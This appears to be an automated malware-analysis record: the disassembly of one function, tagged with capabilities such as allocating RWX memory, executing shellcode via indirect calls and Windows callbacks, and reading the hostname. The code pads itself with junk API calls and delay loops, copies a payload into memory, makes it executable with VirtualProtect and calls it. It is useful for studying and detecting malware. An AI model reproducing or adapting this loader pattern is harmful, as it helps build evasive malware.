Function at 0x42f1c8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xd4c
mov eax, dword [0x433004]
xor eax, esp
mov dword [esp + 0xd48], eax
mov eax, dword [0x4431b4]
push ebx
push esi
xor esi, esi
push edi
xor ecx, ecx
cmp ecx, 0x18a
jne 0x42f200
mov eax, dword [0x4347a0]
add eax, 0x9e49
cmp eax, 0x141
jne 0x42f218
or dword [0x4353a4], 0xffffffff
mov dword [0x4353a0], 0xec58acac
inc ecx
cmp ecx, 0x1237750
jl 0x42f1ee
mov dword [0x4431b4], eax
xor ecx, ecx
cmp ecx, 0x565415
jne 0x42f23c
mov edx, dword [0x433fd8]
mov dword [0x4431b8], edx
inc ecx
cmp ecx, 0x5f1e54
jl 0x42f228
cmp eax, 0x7c
jne 0x42f320
push esi
lea eax, [esp + 0x554]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push esi
call dword [sym.imp.USER32.dll_SetActiveWindow]
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
push esi
lea eax, [esp + 0x14]
push eax
push esi
lea eax, [esp + 0x15c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.USER32.dll_CopyRect]
push esi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
lea eax, [esp + 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x2e
lea eax, [esp + 0x74]
push esi
push eax
mov dword [esp + 0x78], esi
call fcn.00406ad0
add esp, 0xc
push esi
lea eax, [esp + 0x70]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
cmp dword [0x4431b4], 0x54
jne 0x42f312
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
call edi
push str.Guvezirufa_pemuritowuwep
call edi
push esi
call fcn.00401274
push esi
call fcn.0040128a
pop ecx
pop ecx
xor edi, edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x2c]
push eax
call sub.KERNEL32.dll_GetSystemTimes
cmp edi, 0x25930
jg 0x42f357
inc edi
cmp edi, 0xe860d
jl 0x42f322
jmp 0x42f36b
cmp dword [0x4431b4], 0xa
jne 0x42f36b
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
cmp dword [0x4431b4], 0x2a
jne 0x42f3f2
push esi
push esi
push esi
mov dword [0x443078], esi
mov dword [0x44307c], esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
push esi
push esi
lea eax, [esp + 0x558]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
mov ebx, 0x4314c8
push ebx
push str.0__f
mov edi, 0x435318
push edi
call fcn.00401093
push esi
call fcn.0040113c
push esi
push esi
call fcn.004010ad
push ebx
push str._s__c
push edi
call fcn.00401295
call fcn.00407c1d
push esi
push esi
call fcn.004010ad
push esi
push esi
call fcn.00401206
push esi
push esi
call fcn.004010ad
add esp, 0x3c
push dword [0x4431b4]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x4431b4]
xor edi, edi
mov dword [0x442ed0], eax
cmp ecx, esi
jbe 0x42f437
mov edx, dword [0x4431b8]
mov dl, byte [edx + edi + 0x9e49]
mov byte [eax + edi], dl
cmp ecx, 0x5ab
jne 0x42f432
mov dword [0x442ed4], 0x19b0
inc edi
cmp edi, ecx
jb 0x42f410
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [esp + 0x18]
push eax
push 0x40
push dword [0x4431b4]
push dword [0x442ed0]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0042f137
xor eax, eax
cmp eax, 0xd606b
jne 0x42f46e
call fcn.0042f039
inc eax
cmp eax, 0x24e87d
jl 0x42f462
mov dword [0x443080], 0x8e46a6f0
cmp esi, 0x408e
jle 0x42f492
cmp dword [esp + 0x4c], 0xf5bed7
jne 0x42f49b
inc esi
cmp esi, 0x687ed2
jl 0x42f480
mov ecx, dword [esp + 0xd54]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
mov esp, ebp
pop ebp
ret